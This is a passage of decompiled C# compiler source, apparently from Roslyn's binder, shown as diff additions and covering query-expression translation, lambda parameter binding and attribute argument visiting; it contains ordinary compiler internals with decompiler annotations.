+ } + } + else if (memberAccessExpressionSyntax.Expression != identifierNameSyntax) + { + continue; + } + if (SyntaxFacts.IsInTypeOnlyContext(identifierNameSyntax)) + { + parent = identifierNameSyntax.Parent; + if (!(parent is BinaryExpressionSyntax binaryExpressionSyntax) || ((SyntaxNode)parent).RawKind != 8686 || binaryExpressionSyntax.Right != identifierNameSyntax) + { + continue; + } + } + if (IsIdentifierOfInterest(identifierNameSyntax) && !CheckIdentifier(enclosingBinder, identifierNameSyntax)) + { + return false; + } + } + else if (!CheckLambda(lambdaSyntax, enclosingBinder)) + { + return false; + } + } + return true; + static bool childrenNeedChecking(SyntaxNode n) + { + if (!(n is MemberBindingExpressionSyntax) && !(n is BaseExpressionColonSyntax) && !(n is NameEqualsSyntax)) + { + if (n is GotoStatementSyntax) + { + if (n.RawKind == 8800) + { + goto IL_006b; + } + } + else + { + if (n is TypeParameterConstraintClauseSyntax || n is AliasQualifiedNameSyntax) + { + goto IL_006b; + } + if (n is AttributeListSyntax) + { + return false; + } + if (n is ParameterSyntax) + { + return false; + } + if (n is AnonymousFunctionExpressionSyntax || n is QueryExpressionSyntax) + { + return false; + } + if (n is ExpressionSyntax expressionSyntax && SyntaxFacts.IsInTypeOnlyContext(expressionSyntax)) + { + CSharpSyntaxNode parent2 = expressionSyntax.Parent; + if (!(parent2 is BinaryExpressionSyntax binaryExpressionSyntax2) || ((SyntaxNode)parent2).RawKind != 8686 || binaryExpressionSyntax2.Right != expressionSyntax) + { + return false; + } + } + } + return true; + } + goto IL_006b; + IL_006b: + return false; + } + static Binder getEnclosingBinderForNode(CSharpSyntaxNode contextNode, Binder contextBinder, SyntaxNode targetNode) + { + while (true) + { + Binder binder2 = contextBinder.GetBinder(targetNode); + if (binder2 != null) + { + return binder2; + } + if ((object)targetNode == contextNode) + { + break; + } + targetNode = targetNode.Parent; + } + return contextBinder; + } + } + + protected abstract bool IsIdentifierOfInterest(IdentifierNameSyntax id); + + private bool CheckLambda(AnonymousFunctionExpressionSyntax lambdaSyntax, Binder enclosingBinder) + { + UnboundLambda unboundLambda = enclosingBinder.AnalyzeAnonymousFunction(lambdaSyntax, BindingDiagnosticBag.Discarded); + ExecutableCodeBinder executableCodeBinder = CreateLambdaBodyBinder(enclosingBinder, unboundLambda); + return CheckIdentifiersInNode(lambdaSyntax.Body, executableCodeBinder.GetBinder((SyntaxNode)(object)lambdaSyntax.Body) ?? executableCodeBinder); + } + + private static ExecutableCodeBinder CreateLambdaBodyBinder(Binder enclosingBinder, UnboundLambda unboundLambda) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + unboundLambda.HasExplicitReturnType(out var refKind, out var returnType); + LambdaSymbol lambdaSymbol = new LambdaSymbol(enclosingBinder, enclosingBinder.Compilation, enclosingBinder.ContainingMemberOrLambda, unboundLambda, ImmutableArray.Empty, ImmutableArray.Empty, refKind, returnType); + return new ExecutableCodeBinder(unboundLambda.Syntax, lambdaSymbol, unboundLambda.GetWithParametersBinder(lambdaSymbol, enclosingBinder)); + } + + private bool CheckIdentifier(Binder enclosingBinder, IdentifierNameSyntax id) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if (_lookupResult == null) + { + _lookupResult = LookupResult.GetInstance(); + } + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + enclosingBinder.LookupIdentifier(_lookupResult, id, SyntaxFacts.IsInvoked(id), ref useSiteInfo); + return CheckAndClearLookupResult(enclosingBinder, id, _lookupResult); + } + + protected abstract bool CheckAndClearLookupResult(Binder enclosingBinder, IdentifierNameSyntax id, LookupResult lookupResult); + + protected static bool isTypeOrValueReceiver(Binder enclosingBinder, IdentifierNameSyntax id, TypeSymbol type, [NotNullWhen(true)] out SyntaxNode? memberAccessNode, [NotNullWhen(true)] out string? memberName, out int targetMemberArity, out bool invoked) + { + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + memberAccessNode = null; + memberName = null; + targetMemberArity = 0; + invoked = false; + CSharpSyntaxNode parent = id.Parent; + SyntaxToken identifier; + if (parent is MemberAccessExpressionSyntax memberAccessExpressionSyntax) + { + if (((SyntaxNode)parent).RawKind == 8689 && memberAccessExpressionSyntax.Expression == id) + { + SimpleNameSyntax simpleNameSyntax = (SimpleNameSyntax)(object)(memberAccessNode = (SyntaxNode?)(object)memberAccessExpressionSyntax.Name); + identifier = simpleNameSyntax.Identifier; + memberName = ((SyntaxToken)(ref identifier)).ValueText; + targetMemberArity = simpleNameSyntax.Arity; + invoked = SyntaxFacts.IsInvoked(memberAccessExpressionSyntax); + } + } + else if (!(parent is QualifiedNameSyntax qualifiedNameSyntax)) + { + if (parent is FromClauseSyntax fromClauseSyntax && parent.Parent is QueryExpressionSyntax queryExpressionSyntax && queryExpressionSyntax.FromClause == fromClauseSyntax && fromClauseSyntax.Expression == id) + { + memberName = GetFirstInvokedMethodName(queryExpressionSyntax, out memberAccessNode); + targetMemberArity = 0; + invoked = true; + } + } + else if (qualifiedNameSyntax.Left == id) + { + SimpleNameSyntax simpleNameSyntax = (SimpleNameSyntax)(object)(memberAccessNode = (SyntaxNode?)(object)qualifiedNameSyntax.Right); + identifier = simpleNameSyntax.Identifier; + memberName = ((SyntaxToken)(ref identifier)).ValueText; + targetMemberArity = simpleNameSyntax.Arity; + invoked = false; + } + if (memberAccessNode != null) + { + return enclosingBinder.IsPotentialColorColorReceiver(id, type); + } + return false; + } + + protected static bool TreatAsInstanceMemberAccess(Binder enclosingBinder, TypeSymbol type, SyntaxNode memberAccessNode, string memberName, int targetMemberArity, bool invoked, LookupResult lookupResult) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Invalid comparison between Unknown and I4 + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + enclosingBinder.LookupInstanceMember(lookupResult, type, leftIsBaseReference: false, memberName, targetMemberArity, invoked, ref useSiteInfo); + bool result; + if (lookupResult.IsMultiViable) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool wasError; + Symbol symbolOrMethodOrPropertyGroup = enclosingBinder.GetSymbolOrMethodOrPropertyGroup(lookupResult, memberAccessNode, memberName, targetMemberArity, instance, BindingDiagnosticBag.Discarded, out wasError, null); + if ((object)symbolOrMethodOrPropertyGroup == null) + { + lookupResult.Clear(); + enclosingBinder.CheckWhatCandidatesWeHave(instance, type, memberName, targetMemberArity, ref lookupResult, ref useSiteInfo, out var haveInstanceCandidates, out wasError); + result = haveInstanceCandidates; + } + else + { + result = !symbolOrMethodOrPropertyGroup.IsStatic && (int)symbolOrMethodOrPropertyGroup.Kind != 11; + } + instance.Free(); + } + else + { + result = true; + } + lookupResult.Clear(); + return result; + } + + private bool CheckQuery(QueryExpressionSyntax query, Binder enclosingBinder) + { + if (CheckIdentifiersInNode(query.FromClause.Expression, enclosingBinder)) + { + QueryTranslationState item = enclosingBinder.MakeInitialQueryTranslationState(query, BindingDiagnosticBag.Discarded).Item1; + bool flag = BindQueryInternal(enclosingBinder, item); + QueryContinuationSyntax continuation = query.Body.Continuation; + while (continuation != null && flag) + { + enclosingBinder.PrepareQueryTranslationStateForContinuation(item, continuation, BindingDiagnosticBag.Discarded); + flag = BindQueryInternal(enclosingBinder, item); + continuation = continuation.Body.Continuation; + } + item.Free(); + return flag; + } + return false; + } + + private bool BindQueryInternal(Binder enclosingBinder, QueryTranslationState state) + { + do + { + if (EnumerableExtensions.IsEmpty((IReadOnlyCollection)state.clauses)) + { + return FinalTranslation(enclosingBinder, state); + } + } + while (ReduceQuery(enclosingBinder, state)); + return false; + } + + private bool FinalTranslation(Binder enclosingBinder, QueryTranslationState state) + { + switch (state.selectOrGroup.Kind()) + { + case SyntaxKind.SelectClause: + { + SelectClauseSyntax obj2 = (SelectClauseSyntax)state.selectOrGroup; + RangeVariableSymbol rangeVariable2 = state.rangeVariable; + ExpressionSyntax expression = obj2.Expression; + return MakeQueryUnboundLambda(enclosingBinder, state.RangeVariableMap(), rangeVariable2, expression); + } + case SyntaxKind.GroupClause: + { + GroupClauseSyntax obj = (GroupClauseSyntax)state.selectOrGroup; + RangeVariableSymbol rangeVariable = state.rangeVariable; + ExpressionSyntax groupExpression = obj.GroupExpression; + ExpressionSyntax byExpression = obj.ByExpression; + if (MakeQueryUnboundLambda(enclosingBinder, state.RangeVariableMap(), rangeVariable, byExpression)) + { + return MakeQueryUnboundLambda(enclosingBinder, state.RangeVariableMap(), rangeVariable, groupExpression); + } + return false; + } + default: + return true; + } + } + + private bool ReduceQuery(Binder enclosingBinder, QueryTranslationState state) + { + QueryClauseSyntax queryClauseSyntax = state.clauses.Pop(); + return queryClauseSyntax.Kind() switch + { + SyntaxKind.WhereClause => ReduceWhere(enclosingBinder, (WhereClauseSyntax)queryClauseSyntax, state), + SyntaxKind.JoinClause => ReduceJoin(enclosingBinder, (JoinClauseSyntax)queryClauseSyntax, state), + SyntaxKind.OrderByClause => ReduceOrderBy(enclosingBinder, (OrderByClauseSyntax)queryClauseSyntax, state), + SyntaxKind.FromClause => ReduceFrom(enclosingBinder, (FromClauseSyntax)queryClauseSyntax, state), + SyntaxKind.LetClause => ReduceLet(enclosingBinder, (LetClauseSyntax)queryClauseSyntax, state), + _ => throw ExceptionUtilities.UnexpectedValue((object)queryClauseSyntax.Kind()), + }; + } + + private bool ReduceWhere(Binder enclosingBinder, WhereClauseSyntax where, QueryTranslationState state) + { + return MakeQueryUnboundLambda(enclosingBinder, state.RangeVariableMap(), state.rangeVariable, where.Condition); + } + + private bool ReduceJoin(Binder enclosingBinder, JoinClauseSyntax join, QueryTranslationState state) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + if (CheckIdentifiersInNode(join.InExpression, enclosingBinder) && MakeQueryUnboundLambda(enclosingBinder, state.RangeVariableMap(), state.rangeVariable, join.LeftExpression)) + { + RangeVariableSymbol rangeVariableSymbol = state.AddRangeVariable(enclosingBinder, join.Identifier, BindingDiagnosticBag.Discarded); + if (MakeQueryUnboundLambda(enclosingBinder, QueryTranslationState.RangeVariableMap(rangeVariableSymbol), rangeVariableSymbol, join.RightExpression)) + { + if (join.Into != null) + { + state.allRangeVariables[rangeVariableSymbol].Free(); + state.allRangeVariables.Remove(rangeVariableSymbol); + state.AddRangeVariable(enclosingBinder, join.Into.Identifier, BindingDiagnosticBag.Discarded); + } + return true; + } + } + return false; + } + + private bool ReduceOrderBy(Binder enclosingBinder, OrderByClauseSyntax orderby, QueryTranslationState state) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = orderby.Orderings.GetEnumerator(); + while (enumerator.MoveNext()) + { + OrderingSyntax current = enumerator.Current; + if (!MakeQueryUnboundLambda(enclosingBinder, state.RangeVariableMap(), state.rangeVariable, current.Expression)) + { + return false; + } + } + return true; + } + + private bool ReduceFrom(Binder enclosingBinder, FromClauseSyntax from, QueryTranslationState state) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + RangeVariableSymbol rangeVariable = state.rangeVariable; + if (MakeQueryUnboundLambda(enclosingBinder, state.RangeVariableMap(), rangeVariable, from.Expression)) + { + state.AddRangeVariable(enclosingBinder, from.Identifier, BindingDiagnosticBag.Discarded); + return true; + } + return false; + } + + private bool ReduceLet(Binder enclosingBinder, LetClauseSyntax let, QueryTranslationState state) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + RangeVariableSymbol rangeVariable = state.rangeVariable; + if (MakeQueryUnboundLambda(enclosingBinder, state.RangeVariableMap(), rangeVariable, let.Expression)) + { + state.rangeVariable = state.TransparentRangeVariable(enclosingBinder); + state.AddTransparentIdentifier(rangeVariable.Name); + RangeVariableSymbol key = state.AddRangeVariable(enclosingBinder, let.Identifier, BindingDiagnosticBag.Discarded); + ArrayBuilder obj = state.allRangeVariables[key]; + SyntaxToken identifier = let.Identifier; + obj.Add(((SyntaxToken)(ref identifier)).ValueText); + return true; + } + return false; + } + + private bool MakeQueryUnboundLambda(Binder enclosingBinder, RangeVariableMap qvm, RangeVariableSymbol parameter, ExpressionSyntax expression) + { + UnboundLambda unboundLambda = Binder.MakeQueryUnboundLambda((CSharpSyntaxNode)expression, new QueryUnboundLambdaState(enclosingBinder, qvm, ImmutableArray.Create(parameter), delegate + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Binder.IdentifierUsedAsValueFinder.cs", 535); + }), false); + ExecutableCodeBinder executableCodeBinder = CreateLambdaBodyBinder(enclosingBinder, unboundLambda); + return CheckIdentifiersInNode(expression, executableCodeBinder.GetRequiredBinder((SyntaxNode)(object)expression)); + } + } + + internal readonly struct NamespaceOrTypeOrAliasSymbolWithAnnotations + { + private readonly TypeWithAnnotations _typeWithAnnotations; + + private readonly Symbol _symbol; + + private readonly bool _isNullableEnabled; + + internal TypeWithAnnotations TypeWithAnnotations => _typeWithAnnotations; + + internal Symbol Symbol => _symbol ?? TypeWithAnnotations.Type; + + internal bool IsType => !_typeWithAnnotations.IsDefault; + + internal bool IsAlias + { + get + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + Symbol symbol = _symbol; + if ((object)symbol == null) + { + return false; + } + return (int)symbol.Kind == 0; + } + } + + internal NamespaceOrTypeSymbol NamespaceOrTypeSymbol => Symbol as NamespaceOrTypeSymbol; + + internal bool IsDefault + { + get + { + if (!_typeWithAnnotations.HasType) + { + return (object)_symbol == null; + } + return false; + } + } + + internal bool IsNullableEnabled => _isNullableEnabled; + + private NamespaceOrTypeOrAliasSymbolWithAnnotations(TypeWithAnnotations typeWithAnnotations) + { + _typeWithAnnotations = typeWithAnnotations; + _symbol = null; + _isNullableEnabled = false; + } + + private NamespaceOrTypeOrAliasSymbolWithAnnotations(Symbol symbol, bool isNullableEnabled) + { + _typeWithAnnotations = default(TypeWithAnnotations); + _symbol = symbol; + _isNullableEnabled = isNullableEnabled; + } + + internal static NamespaceOrTypeOrAliasSymbolWithAnnotations CreateUnannotated(bool isNullableEnabled, Symbol symbol) + { + if ((object)symbol == null) + { + return default(NamespaceOrTypeOrAliasSymbolWithAnnotations); + } + if (symbol is TypeSymbol typeSymbol) + { + return new NamespaceOrTypeOrAliasSymbolWithAnnotations(TypeWithAnnotations.Create(isNullableEnabled, typeSymbol)); + } + return new NamespaceOrTypeOrAliasSymbolWithAnnotations(symbol, isNullableEnabled); + } + + public static implicit operator NamespaceOrTypeOrAliasSymbolWithAnnotations(TypeWithAnnotations typeWithAnnotations) + { + return new NamespaceOrTypeOrAliasSymbolWithAnnotations(typeWithAnnotations); + } + } + + protected enum OverflowChecks + { + Implicit, + Disabled, + Enabled + } + + private class QueryTranslationState + { + public BoundExpression fromExpression; + + public RangeVariableSymbol rangeVariable; + + public readonly Stack clauses = new Stack(); + + public SelectOrGroupClauseSyntax selectOrGroup; + + public readonly Dictionary> allRangeVariables = new Dictionary>(); + + private int _nextTransparentIdentifierNumber; + + public static RangeVariableMap RangeVariableMap(params RangeVariableSymbol[] parameters) + { + RangeVariableMap rangeVariableMap = new RangeVariableMap(); + foreach (RangeVariableSymbol key in parameters) + { + rangeVariableMap.Add(key, ImmutableArray.Empty); + } + return rangeVariableMap; + } + + public RangeVariableMap RangeVariableMap() + { + RangeVariableMap rangeVariableMap = new RangeVariableMap(); + foreach (RangeVariableSymbol key in allRangeVariables.Keys) + { + rangeVariableMap.Add(key, allRangeVariables[key].ToImmutable()); + } + return rangeVariableMap; + } + + internal RangeVariableSymbol AddRangeVariable(Binder binder, SyntaxToken identifier, BindingDiagnosticBag diagnostics) + { + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + RangeVariableSymbol rangeVariableSymbol = new RangeVariableSymbol(valueText, binder.ContainingMemberOrLambda, ((SyntaxToken)(ref identifier)).GetLocation()); + bool flag = false; + foreach (RangeVariableSymbol key in allRangeVariables.Keys) + { + if (key.Name == valueText) + { + diagnostics.Add(ErrorCode.ERR_QueryDuplicateRangeVariable, ((SyntaxToken)(ref identifier)).GetLocation(), valueText); + flag = true; + } + } + if (!flag && diagnostics != BindingDiagnosticBag.Discarded) + { + new LocalScopeBinder(binder).ValidateDeclarationNameConflictsInScope(rangeVariableSymbol, diagnostics); + } + allRangeVariables.Add(rangeVariableSymbol, ArrayBuilder.GetInstance()); + return rangeVariableSymbol; + } + + internal void AddTransparentIdentifier(string name) + { + foreach (ArrayBuilder value in allRangeVariables.Values) + { + value.Add(name); + } + } + + internal string TransparentRangeVariableName() + { + return "<>h__TransparentIdentifier" + _nextTransparentIdentifierNumber++; + } + + internal RangeVariableSymbol TransparentRangeVariable(Binder binder) + { + return new RangeVariableSymbol(TransparentRangeVariableName(), binder.ContainingMemberOrLambda, null, isTransparent: true); + } + + public void Clear() + { + fromExpression = null; + rangeVariable = null; + selectOrGroup = null; + foreach (ArrayBuilder value in allRangeVariables.Values) + { + value.Free(); + } + allRangeVariables.Clear(); + clauses.Clear(); + } + + public void Free() + { + Clear(); + } + } + + private delegate BoundBlock LambdaBodyFactory(LambdaSymbol lambdaSymbol, Binder lambdaBodyBinder, BindingDiagnosticBag diagnostics); + + private sealed class QueryUnboundLambdaState : UnboundLambdaState + { + private readonly ImmutableArray _parameters; + + private readonly LambdaBodyFactory _bodyFactory; + + private readonly RangeVariableMap _rangeVariableMap; + + public override bool HasSignature => true; + + public override bool HasExplicitlyTypedParameterList => false; + + public override int ParameterCount => _parameters.Length; + + public override bool IsAsync => false; + + public override bool IsStatic => false; + + public override bool HasParamsArray => false; + + public override MessageID MessageID => MessageID.IDS_FeatureQueryExpression; + + public QueryUnboundLambdaState(Binder binder, RangeVariableMap rangeVariableMap, ImmutableArray parameters, LambdaBodyFactory bodyFactory, bool includeCache = true) + : base(binder, includeCache) + { + _parameters = parameters; + _rangeVariableMap = rangeVariableMap; + _bodyFactory = bodyFactory; + } + + public override string ParameterName(int index) + { + return _parameters[index].Name; + } + + public override bool ParameterIsDiscard(int index) + { + return false; + } + + public override SyntaxList ParameterAttributes(int index) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(SyntaxList); + } + + public override bool HasExplicitReturnType(out RefKind refKind, out TypeWithAnnotations returnType) + { + refKind = (RefKind)0; + returnType = default(TypeWithAnnotations); + return false; + } + + public override RefKind RefKind(int index) + { + return (RefKind)0; + } + + public override ScopedKind DeclaredScope(int index) + { + return (ScopedKind)0; + } + + public override Location ParameterLocation(int index) + { + return _parameters[index].TryGetFirstLocation(); + } + + public override ParameterSyntax ParameterSyntax(int index) + { + return null; + } + + public override TypeWithAnnotations ParameterTypeWithAnnotations(int index) + { + throw new ArgumentException(); + } + + public override void GenerateAnonymousFunctionConversionError(BindingDiagnosticBag diagnostics, TypeSymbol targetType) + { + base.GenerateAnonymousFunctionConversionError(diagnostics, targetType); + } + + public override Binder GetWithParametersBinder(LambdaSymbol lambdaSymbol, Binder binder) + { + return new WithQueryLambdaParametersBinder(lambdaSymbol, _rangeVariableMap, binder); + } + + protected override UnboundLambdaState WithCachingCore(bool includeCache) + { + return new QueryUnboundLambdaState(Binder, _rangeVariableMap, _parameters, _bodyFactory, includeCache); + } + + protected override BoundExpression GetLambdaExpressionBody(BoundBlock body) + { + return null; + } + + protected override BoundBlock CreateBlockFromLambdaExpressionBody(Binder lambdaBodyBinder, BoundExpression expression, BindingDiagnosticBag diagnostics) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Binder.QueryUnboundLambdaState.cs", 81); + } + + protected override BoundBlock BindLambdaBodyCore(LambdaSymbol lambdaSymbol, Binder lambdaBodyBinder, BindingDiagnosticBag diagnostics) + { + return _bodyFactory(lambdaSymbol, lambdaBodyBinder, diagnostics); + } + } + + private class RangeVariableMap : Dictionary> + { + } + + [Flags] + internal enum BindValueKind : ushort + { + RValue = 4, + Assignable = 8, + RefersToLocation = 0x10, + RefAssignable = 0x20, + RValueOrMethodGroup = 5, + CompoundAssignment = 0xC, + IncrementDecrement = 0xD, + ReadonlyRef = 0x14, + AddressOf = 0x15, + FixedReceiver = 0x16, + RefOrOut = 0x1C, + RefReturn = 0x1D + } + + internal enum AddressKind + { + Writeable, + Constrained, + ReadOnly, + ReadOnlyStrict + } + + private sealed class WithQueryLambdaParametersBinder : WithLambdaParametersBinder + { + private readonly RangeVariableMap _rangeVariableMap; + + private readonly MultiDictionary _parameterMap; + + public WithQueryLambdaParametersBinder(LambdaSymbol lambdaSymbol, RangeVariableMap rangeVariableMap, Binder next) + : base(lambdaSymbol, next) + { + _rangeVariableMap = rangeVariableMap; + _parameterMap = new MultiDictionary(); + foreach (RangeVariableSymbol key in rangeVariableMap.Keys) + { + _parameterMap.Add(key.Name, key); + } + } + + protected override BoundExpression BindRangeVariable(SimpleNameSyntax node, RangeVariableSymbol qv, BindingDiagnosticBag diagnostics) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (_rangeVariableMap.TryGetValue(qv, out var value)) + { + BoundExpression boundExpression; + if (value.IsEmpty) + { + boundExpression = new BoundParameter((SyntaxNode)(object)node, parameterMap[qv.Name].Single()); + } + else + { + boundExpression = new BoundParameter((SyntaxNode)(object)node, lambdaSymbol.Parameters[0]); + for (int num = value.Length - 1; num >= 0; num--) + { + boundExpression.WasCompilerGenerated = true; + string name = value[num]; + boundExpression = SelectField(node, boundExpression, name, diagnostics); + } + } + return new BoundRangeVariable((SyntaxNode)(object)node, qv, boundExpression, boundExpression.Type); + } + return base.BindRangeVariable(node, qv, diagnostics); + } + + private BoundExpression SelectField(SimpleNameSyntax node, BoundExpression receiver, string name, BindingDiagnosticBag diagnostics) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Expected O, but got Unknown + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol namedTypeSymbol = receiver.Type as NamedTypeSymbol; + if ((object)namedTypeSymbol == null || !namedTypeSymbol.IsAnonymousType) + { + CSDiagnosticInfo cSDiagnosticInfo = new CSDiagnosticInfo(ErrorCode.ERR_UnsupportedTransparentIdentifierAccess, name, (object)new FormattedSymbol((ISymbolInternal)(object)(receiver.ExpressionSymbol ?? namedTypeSymbol), SymbolDisplayFormat.CSharpErrorMessageNoParameterNamesFormat)); + TypeSymbol? type = receiver.Type; + if ((object)type == null || !type.IsErrorType()) + { + Error(diagnostics, (DiagnosticInfo)(object)cSDiagnosticInfo, (SyntaxNode)(object)node); + } + return new BoundBadExpression((SyntaxNode)(object)node, LookupResultKind.Empty, ImmutableArray.Create(receiver.ExpressionSymbol), ImmutableArray.Create(BindToTypeForErrorRecovery(receiver)), new ExtendedErrorTypeSymbol(base.Compilation, "", 0, (DiagnosticInfo?)(object)cSDiagnosticInfo)); + } + LookupResult instance = LookupResult.GetInstance(); + LookupOptions options = LookupOptions.MustBeInstance; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupMembersWithFallback(instance, receiver.Type, name, 0, ref useSiteInfo, null, options); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + BoundExpression result = BindMemberOfType((SyntaxNode)(object)node, (SyntaxNode)(object)node, name, 0, indexed: false, receiver, default(SeparatedSyntaxList), default(ImmutableArray), instance, BoundMethodGroupFlags.None, diagnostics); + instance.Free(); + return result; + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if ((options & LookupOptions.NamespaceAliasesOnly) != LookupOptions.Default) + { + return; + } + Enumerator enumerator = _parameterMap[name].GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + RangeVariableSymbol current = enumerator.Current; + result.MergeEqual(originalBinder.CheckViability(current, arity, options, null, diagnose, ref useSiteInfo)); + } + } + finally + { + ((IDisposable)enumerator/*cast due to constrained. prefix*/).Dispose(); + } + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + if (!options.CanConsiderMembers()) + { + return; + } + foreach (KeyValuePair> item in _parameterMap) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol((Symbol)null, item.Key, 0); + } + } + } + + private readonly struct AttributeExpressionVisitor(Binder binder) + { + private readonly Binder _binder = binder; + + public ImmutableArray VisitArguments(ImmutableArray arguments, BindingDiagnosticBag diagnostics, ref bool attrHasErrors, bool parentHasErrors = false) + { + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray result = ImmutableArray.Empty; + int length = arguments.Length; + if (length > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + ImmutableArray.Enumerator enumerator = arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + bool curArgumentHasErrors = parentHasErrors || current.HasAnyErrors; + instance.Add(VisitExpression(current, diagnostics, ref attrHasErrors, curArgumentHasErrors)); + } + result = instance.ToImmutableAndFree(); + } + return result; + } + + public ImmutableArray> VisitNamedArguments(ImmutableArray arguments, BindingDiagnosticBag diagnostics, ref bool attrHasErrors) + { + ArrayBuilder> val = null; + ImmutableArray.Enumerator enumerator = arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundAssignmentOperator current = enumerator.Current; + KeyValuePair? keyValuePair = VisitNamedArgument(current, diagnostics, ref attrHasErrors); + if (keyValuePair.HasValue) + { + if (val == null) + { + val = ArrayBuilder>.GetInstance(); + } + val.Add(keyValuePair.Value); + } + } + return val?.ToImmutableAndFree() ?? ImmutableArray>.Empty; + } + + private KeyValuePair? VisitNamedArgument(BoundAssignmentOperator assignment, BindingDiagnosticBag diagnostics, ref bool attrHasErrors) + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + KeyValuePair? result = null; + switch (assignment.Left.Kind) + { + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)assignment.Left; + result = new KeyValuePair(boundFieldAccess.FieldSymbol.Name, VisitExpression(assignment.Right, diagnostics, ref attrHasErrors, assignment.HasAnyErrors)); + break; + } + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)assignment.Left; + result = new KeyValuePair(boundPropertyAccess.PropertySymbol.Name, VisitExpression(assignment.Right, diagnostics, ref attrHasErrors, assignment.HasAnyErrors)); + break; + } + } + return result; + } + + private TypedConstant VisitExpression(BoundExpression node, BindingDiagnosticBag diagnostics, ref bool attrHasErrors, bool curArgumentHasErrors) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + TypedConstantKind attributeParameterTypedConstantKind = node.Type.GetAttributeParameterTypedConstantKind(_binder.Compilation); + return VisitExpression(node, attributeParameterTypedConstantKind, diagnostics, ref attrHasErrors, curArgumentHasErrors || (int)attributeParameterTypedConstantKind == 0); + } + + private TypedConstant VisitExpression(BoundExpression node, TypedConstantKind typedConstantKind, BindingDiagnosticBag diagnostics, ref bool attrHasErrors, bool curArgumentHasErrors) + { + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + ConstantValue constantValueOpt = node.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null) + { + if (constantValueOpt.IsBad) + { + typedConstantKind = (TypedConstantKind)0; + } + ConstantValueUtils.CheckLangVersionForConstantValue(node, diagnostics); + return CreateTypedConstant(node, typedConstantKind, diagnostics, ref attrHasErrors, curArgumentHasErrors, constantValueOpt.Value); + } + return (TypedConstant)(node.Kind switch + { + BoundKind.Conversion => VisitConversion((BoundConversion)node, diagnostics, ref attrHasErrors, curArgumentHasErrors), + BoundKind.TypeOfOperator => VisitTypeOfExpression((BoundTypeOfOperator)node, diagnostics, ref attrHasErrors, curArgumentHasErrors), + BoundKind.ArrayCreation => 